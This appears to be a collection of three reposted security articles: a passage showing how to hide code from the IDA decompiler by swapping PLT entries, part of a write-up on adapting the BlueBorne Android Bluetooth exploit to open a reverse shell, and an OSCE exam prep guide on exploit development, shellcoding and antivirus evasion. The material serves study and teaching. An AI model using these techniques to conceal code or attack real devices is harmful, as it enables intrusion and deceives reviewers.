would be exit(), or abort() from the standard libraries. While generating the pseudocode for a given function, the decompiler will discard any code after a call to a noreturn function. The expectation is that in no universe should a function like exit() ever return and continue executing code. The code directly following a call to a noreturn function is invisible to the decompiler. If one can trick IDA into believing a function is noreturn when it actually isn’t, a malicious actor can quietly hide code behind any calls made to it. The following example demonstrates one of many ways we can achieve this result. // // compiled on Ubuntu 16.04 with: // gcc -o noreturn noreturn.c // #include <stdio.h> #include <stdlib.h> void ignore() { exit(0); // force a PLT/GOT entry for exit() } void deceptive() { puts("Hello World!"); srand(0); // post-processing will swap srand() <--> exit() puts("Evil Code"); } void main() { deceptive(); } By compiling the code above and running a short Binary Ninja based post-processing script against the resulting binary, we can swap the pushed ordinal numbers in the Procedure Linkage Table. These indexes are used to when resolving library imports at runtime. Swapping PLT ordinal numbers in the ELF header In this example we swap the ordinals for srand() with exit() and doctor some calls for compile-time convenience. As a result, IDA believes the deceptive() function in the modified binary is calling exit(), a noreturn function, instead of srand(). Decompiling main, and deceptive function concealing code behind a noreturn call The exit() call we see in IDA is in-fact srand() (effectively a no-op) at runtime. The effect on the decompiler is almost identical to the return hijacking technique covered in the previous section. Running the binary demonstrates that our ‘Evil Code’ is getting executed, unbeknownst to the decompiler. Executing the compiled binary making use of the noreturn anti-decompilation technique While the presence of malicious code is blatant in these examples, hiding these techniques within larger functions and complex conditionals makes them exceptionally easy to glaze over. Conclusion Decompilers are an impressive but imperfect technology. They operate on incomplete information and do their best to approximate for us humans. Malicious actors can (and will) leverage these asymmetries as a means of deception. As the industry grows more reliant on the luxuries of today’s decompilers, the adoption of anti-decompilation techniques will increase and evolve in the same vein as anti-debugging and anti-reversing have. Sursa: https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/

BlueBorne RCE on Android 6.0.1 (CVE-2017-0781) [English] A few days ago, the company Armis published a proof of concept (PoC) of a remote code execution vulnerability in Android via Bluetooth (CVE-2017-0781), known as BlueBorne. Although BlueBorne refers to a set of 8 vulnerabilities, this PoC uses only 2 of them to achieve its goal. The exploitation process is divided into 2 phases, first the memory leak vulnerability (CVE-2017-0785) is used to know the memory addresses and bypass the ASLR protection, and thus make a call to the function libc library system and execute code on the phone, in this case a reverse shell. The original source code of the Armis PoC is oriented to Android 7.1.2 on Pixel and Nexus 5X phones, and it is implied that to use it in another model it is only necessary to modify in the code the offsets of libc and bluetooth libraries. Later we will see how in the version 6.0.1 analyzed, the changes in the code of the bluetooth library are significant, complicating the exploitation and forcing us to make more modifications in the code of the PoC. To perform some of the following actions it is necessary to have root privileges on the phone. Libraries download The first step is to extract the libraries to analyze them on our computer with IDA or Radare. $ adb pull /system/lib/hw/bluetooth.default.so $ adb pull /system/lib/libc.so libc system function We open libc.so with Radare and look for the system function. As we can see it is in the address 0x3ea04, which we introduce in the variable LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 +1. $ r2 -A libc.so > afl~system 0x0003ea04 10 184 sym.system Articol complet: https://jesux.es/exploiting/blueborne-android-6.0.1-english/

OSCE/CTP Prep Guide July 18, 2017 Tulpa What this prep guide is and isn’t If you have read my OSCP prep guide (https://tulpa-security.com/2016/09/19/prep-guide-for-offsecs-pwk/), then you know that I don’t just dump a ton of redundant resources on you and say good luck. Your time is precious, and your learning should be well calibrated to studying the best quality information available. This prep course is meant to be completed prior to taking the CTP course. If you look at the CTP covers, you’ll find that I don’t delve into some of the course topics and reason for that is twofold. Firstly, this is meant to prepare you for CTP, not to replace the CTP in anyway. Secondly, CTP is an outstanding quality course and some things are covered from the ground up in such a way that you simply don’t need to prepare for it. Although the resources in this course is carefully curated, it won’t do you much good if you simply read the notes and watch the videos. You have to practice! Repetition is the mother of skill, and exploit development is no different. You will also find that I would recommend reading two tutorials regarding the same topic. This isn’t about repetition as much as it’s about getting two perspectives on the same topic. This is a great way of really deepening your understanding of the course material. Disclaimer: I am not affiliated with any of the authors of the resources that I mention here. I recommend them and reference them because I truly believe in their work and its applicability to the OSCE certification. Lesson 0 – Getting your resources together In order to follow along, you need to get your hands on the Security Tube Linux Assembly Expert (32 bit) course. It’s quite affordable when you consider the value that you’re getting. As you know, CTP/OSCE is windows based so the SLAE material isn’t going to help you with all the concepts, however it does a very good job of covering a wide range of topics that you need to know. I honestly haven’t found a better guide and believe me when I say that I tried. I am very pleased to share that the kind people from Security Tube is offering readers of this guide 25% off not only the 32-bit SLAE course, but also the 64-bit version! Thank you Vivek Ramachandran for making your excellent material more accessible to the community. To get the discount, you can follow this link: http://promo.securitytube-training.com/slae64092015 For your lab environment I would recommend that you set up three machines. The first obviously being Kali, the second would be a Windows XP SP3 client, and lastly a Windows 7 client. A lot of people e-mailed me when I wrote my OSCP prep course and asked where they can get ahold of older versions of Windows OS’s. I can’t provide you with a download link, but I’m sure that you will figure it out. In my case, I was lucky enough to have some old MSDN disks laying around. After you set everything up and installed immunity and mona (or olly), then be sure to take a snapshot of your machines before starting. Lesson 1 – Introduction The key to deepening and accelerating your learning in this particular subject is dependent upon what you do in this first lesson. While not glamorous, this is ideally where you need to spend some time to memorize the various registers and what they are used for as well as the various sections of the debugger. If you know what an EDI register is used for off by heart as an example, then you can think creatively and form a much deeper understanding of the rest of the material going forward. Don’t forget to also focus on the various sections of the registers in terms of AH vs AL etc. What I found very useful was using a flashcard app at brainscape.com. This app in particular is great because it uses an algorithm to determine how well you know each card and then adjusts the frequency in which they appear. Go through the below resources in order prior to creating your flash cards. The first resource you need to go through is http://www.securitysift.com/windows-exploit-development-part-1-basics/ This is where you will get the bulk of your information for your flash cards. Also pay particular attention to the layout of immunity debugger. Both Olly and Immunity uses exactly the same layout so rest assured that this information is worth knowing. Also don’t get too intimidated by the PEB and TEB(S) section. If your struggling with that section, then you can come back to it later in the course at it will click. Next up is SLAE videos 1-7. The total length of these videos are just over an hour, but you can expect to spend an extra 30 minutes on it because of how frequently you will have to pause and take notes for your flash cards. In the next lesson you’ll be working through GDB. You don’t have to have your flashcards memorized prior to moving onto the next session so no need to pause your progress. Lesson 2 – GNU Debugger (GDB) In order to make the most of the SLAE videos, you have to do the GDB course that’s included. I know that you want to get to the meat of the course and start pwning machines, but you have to walk before you can run. Tip: These videos are very easy to follow along when you up the playback speed. I found x1.75 to be a comfortable speed for these videos particularly (don’t do the same with the rest of the SLAE course). By doing this you can cut the total video time from 3 hours and 40 minutes down to 2 hours and 52 minutes. Lesson 3 – Basic Assembly In this section you need to watch the 8th and 9th video in the SLAE series which is only 30 minutes. More than just focusing on the assembly, I want you to pay particular attention to how he uses a syscall to print hello world. This is the essence of shellcoding which we will get to later. After that, watch SLAE videos 10-12 which will take you 53 minutes. At this stage it’s a good idea to memorize the op codes for one or two commands that will make reading assembly so much easier down the line. The ones that I recommend to include in your own list. CALL – FF Dx. This could be anything from D0 to D7 based on the register that it’s referencing. Again you’re just trying to recall what a command does when you see it, so you don’t have to memorize the number for each register. JMP – EB. You’re going to be seeing this one alot! INC – 4x. Again this goes from 40 to 47 depending on the register. When you fuzz a program you’re going to be using a lot of A’s, B’s and C’s which translate to 41, 42, 43 respectively. That means that sending A (or 41 in hex) to a program, will be interpreted as a INC ECX command. This is useful to know not just for quickly identifying where your offset lands, but also as a reminder that they can be interpreted as commands. DEC – 4x. This carries on where INC stopped and goes from 48 to 4F depending on the register. Careful of information overload here. Limit your list to seven or eight opcodes at most. Lesson 4 – Stack based overflows The lesson that you have been waiting for. Let’s pop some shells! Go through these two lessons in order first, because the Corelan tutorial does a good job of including a quick refresher of what you have already learned. Remember to DO the work and not just read them over. https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ http://www.securitysift.com/windows-exploit-development-part-2-intro-stack-overflow/ Vulnserver is an amazing go to practice and for you to test a ton of your exploits. Once you successfully exploit them, keep those scripts on hand because it’s such a quick way to get some of your shellcode into memory and also to test out some commands. You can find the download link for vulnhub here, along with a tutorial on how to exploit it in various ways. Try and do it yourself first and if you get stuck then you can have a look the walkthrough for guidance. http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction/ http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-exploiting-the-stack-overflow/ http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-3-%E2%80%94-adding-shellcode/ Lesson 5 – Useful information This is a very short lesson to quickly drop you three resources that was very important to me during my OSCE. Firstly, don’t trust windows calculator for hex. We’ll only be doing these manual calculations later in the course but allow me to explain. Open up windows calculator and set it to ‘programmer’ mode. Click on ‘HEX’ in the left hand side and type in 9A and divide that by 3. The answer is 33 right? Wrong. What windows calculator doesn’t tell you is that the real answer is 33 with a remainder of 1. You can verify the answer here: http://www.calculator.net/hex-calculator.html?number1=9A&c2op=%2F&number2=3&calctype=op&x=68&y=7 Next up, is the best wallpaper you will ever see. It’s been a great reference and I think you’ll find it very useful for CTP http://i.imgur.com/Mr9pvq9.jpg Lastly, there’s an online disassembler which I used once or twice when I wasn’t at my Kali machine. https://www.onlinedisassembler.com/static/home/ Lesson 6 – Offsets and JMP’s When your exploit isn’t working as expected then chances are that your offset is wrong. Make sure you keep this information at the forefront of your mind. http://www.securitysift.com/windows-exploit-development-part-3-changing-offsets-and-rebased-modules/ Now it’s time for JMPing around memory. You’ll find in the CTP course that sometimes you need to creatively JMP out of a tight spot to get to a bigger buffer space. At the bottom of the page on the corelan tutorial I’m about to share, you’ll find a reference chart listing a couple of different JMP’s. Pick a couple, load up one of your vulnserver exploits and experiment with them. It’s important that you understand the various conditions that need to be met for some of these JMP’s to occur. https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/ Also be sure to check out this article for more inspiration: http://www.securitysift.com/windows-exploit-development-part-4-locating-shellcode-jumps/ Lesson 7 – Fuzzing For the OSCE, you have to use a fuzzer called Spike. While incredibly power and versatile, it’s not the prettiest and require a bit of work on your part. It’s not difficult to use, but it’s very easy to screw up if you don’t pay attention to your fuzzing template. When building a template, be sure to first interact with the program the normal way while running wireshark. As an example, FTP to a server and have a look at what the traffic looks like. Your job now is to create your spike template to replicate exactly what wireshark has captured. Once again, fire it up when running spike to double check that you’re in fact getting the same result. Since your already familiar with vulnserver, it would be a good idea to practice it there. Here are two tutorials that will help you do just that. http://resources.infosecinstitute.com/intro-to-fuzzing/ http://resources.infosecinstitute.com/fuzzer-automation-with-spike/ Lesson 8 – More Assembly Now it’s time to watch some more SLAE videos, except this time you’ll notice that I’m leaving out a couple of them. Your welcome to watch them of course, but as I mentioned earlier I want to give you only the essential for you to focus on given your limited time. The SLAE videos I recommend is 13, 15-21. The total video length is 1 hour and 27 minutes. Lesson 9 – Structured Exception Handlers (SEH) Before we start, rest assured that this is not a hard topic. It’s well documented and once you have the hang of it, then it’s a piece of cake. Start out by going through these tutorials first. https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/ https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/ http://www.securitysift.com/windows-exploit-development-part-6-seh-exploits Next up, it’s your time to practice SHE on your trusty vulnserver. http://resources.infosecinstitute.com/buffer-overflow-vulnserver/ Lesson 10 – Egghunters A lot of people recommend the scape egghunter paper which you can find here. http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf Your welcome to go through it, but I have to say that after spending a whole day on this, I didn’t walk away with much value that I could apply in practice. Don’t get me wrong it’s a great paper, but it was published in 2004 and effectively you’ll only need to make use of one of the egghunters in that paper. These two tutorials should give you everything that you need to get cracking (sorry I couldn’t help myself with the pun) https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ http://www.securitysift.com/windows-exploit-development-part-5-locating-shellcode-egghunting Security Sift also talks about a technique called an omelet. You can skip that part because it doesn’t relate to the CTP course. Now head back to vulnserver and give your egghunter a test! Lesson 11 – ASLR Alright, this very similar to SEH in terms of complexity (which to say that it’s not that hard once you get the hang of it). You have to keep your blinkers on and only read the section in this paper that covers ASLR and skip everything else. https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/ In fact, don’t spend much time here because the CTP course does a great job of covering everything you need to know about ASLR. Lesson 12 – Restricted Characters By now you know all about bad characters and how to identify them. There is a whole chapter in the CTP course that deals with a particularly restrictive exploit which is quite infamous. Grab some popcorn and watch this amazing defcon talk by Mati regarding this very exploit. At this stage you’ll be able to follow along without any problems, but don’t worry about trying to replicate it just yet. You’ll be spending a lot of time in CTP doing just that. Instead, I would recommend that you head back to vulnserver. Some of the potential exploits have some bad characters that you can play with, but I would recommend a different approach. Create an exploit – and limit yourself instead. Limit a couple of your favorite commands like EB, and find alternative ways to get the same result. JMP commands are a great way of challenging yourself because the results are obvious and requires a bit of creative thinking. http://resources.infosecinstitute.com/restricted-character-set-vulnserver/ Exploit development requires a significant amount of creative thinking. Blindly following steps isn’t going to get you far so make sure you have a few tricks up your sleeve. Lesson 13 – Mona The CTP course is delivered in olly, but your welcome to make use of immunity and mona (neither are restricted in the exam). Mona can make your life a lot easier so I would recommend that you spend a bit of time getting to know some of the most commonly used commands. In fact, identifying bad characters is one of the most useful features of Mona so it builds on the previous lesson quite nicely. There is an extensive reference list here: https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ Lesson 14 – Shellcoding Now this is where the fun REALLY starts. Disclaimer – shellcoding per se is not covered in the CTP course. That being said, I think it’s important enough to include here because it allows you to understand what your shellcode is doing, as well as to make some changes to it yourself. Keep in mind however that when you inspect a metasploit generated shell remember not to encode it otherwise it won’t make much sense. For the corelan tutorial, you should not only read it but actually do it yourself. I cannot stress the value of doing this enough https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/ Now would be a good time to watch SLAE videos 22-26 and pay attention to how he makes use of linux syscalls. It’s only one and a half hour but these videos are particularly packed with amazing information. Next up check out these guides in the order that they are listed. https://www.fuzzysecurity.com/tutorials/expDev/6.html http://sh3llc0d3r.com/windows-reverse-shell-shellcode-i/ http://www.vividmachines.com/shellcode/shellcode.html#ws Lesson 15 – Anti-Virus evasion This is a particularly tricky topic to recommend resources on because it’s a very deep rabbit hole. Remember that CTP/OSCE is primarily focused exploit development, and AV evasion is just one part of that. The techniques covered in CTP are a bit outdated, but still form the foundation of many other techniques. Because you can easily get side tracked, I would recommend sticking to the SLAE videos 27-36 only. I know it’s tempting to do more research (and your welcome to) but if your time is limited then you can just focus on the videos which will prepare you adequately. There is 2 hours and 30 minutes worth of information to go through in the videos. Lesson 16 – Develop your own exploit! At this stage, you know more than enough go out and create and publish your very own 0day (of sorts). Back in 2016, I discovered a set of 0days in products that are all created by one company. Since then, they have released many more versions of the same software – all of them vulnerable but require different exploits. If you search exploit-db, you’ll find that a lot of other people have created exploits since them for all the various different versions, and have done so in various different ways. Now it’s your turn. Download the software, get fuzzing, develop an exploit and submit to exploit-db J Make sure that it hasn’t been done before for the version that your targeting, and if it has then at the very least you have to use a completely different technique to get it working. The company and software downloads can be found here: http://www.flexense.com/ Here is one example of one of my early exploits for one of their products: https://www.exploit-db.com/exploits/40455/ Fuzzing one of the flexsense products will be a great exercise for you because it challenges you to recreate HTTP traffic in a spike template. Remember to look at EVERYTHING you do under wireshark. Lesson 17 – Web Applications Last but not least I wanted to discuss the web application section of the course. CTP does a phenomenal job at covering everything you need to know in such a way that preparing you for it would be redundant. That being said, I want to offer you a few resources and words of advice. The two main topics that you really need to master and know everything about is LFI and XSS. Finding those vulnerabilities are one thing, but make sure you know about the various ways in which you can exploit it to gain remote access to a server. Yup that’s right. Here are a couple of resources that I found useful in my research of the topic: https://www.exploit-db.com/docs/40992.pdf https://excess-xss.com/ https://www.veracode.com/security/xss Lesson 18 – Now what? At this stage you should be more than ready to take the CTP course. I would recommend working through the entire CTP course a minimum of three times, and make sure you do everything manually. As an example, you will be expected to do some manual shell encoding. Sure you can do this with a script, but you would really be cheating yourself out of an amazing (and painful) learning experience. Along the way I would also recommend that you spend a bit of time reading the exploits in exploit-db. I have learned a lot of very useful scripting techniques in a very short space of time because of this. In fact, I would go so far as to say that you start a collection of skeleton exploits for various purposes. I have also gone through a good couple of books in preparation for the OSCE exam and while some of them are really good (like the Shellcoders handbook), it didn’t really help me all that much. Offensive Security does a fantastic job with the course material and I would recommend that you expand your search for additional material only once you have gone through the manual and videos. The course has less to do with reading material, and more to do with practice. There is no substitution for practice and your time will be well spent doing just that. Sursa: https://tulpa-security.com/2017/07/18/288/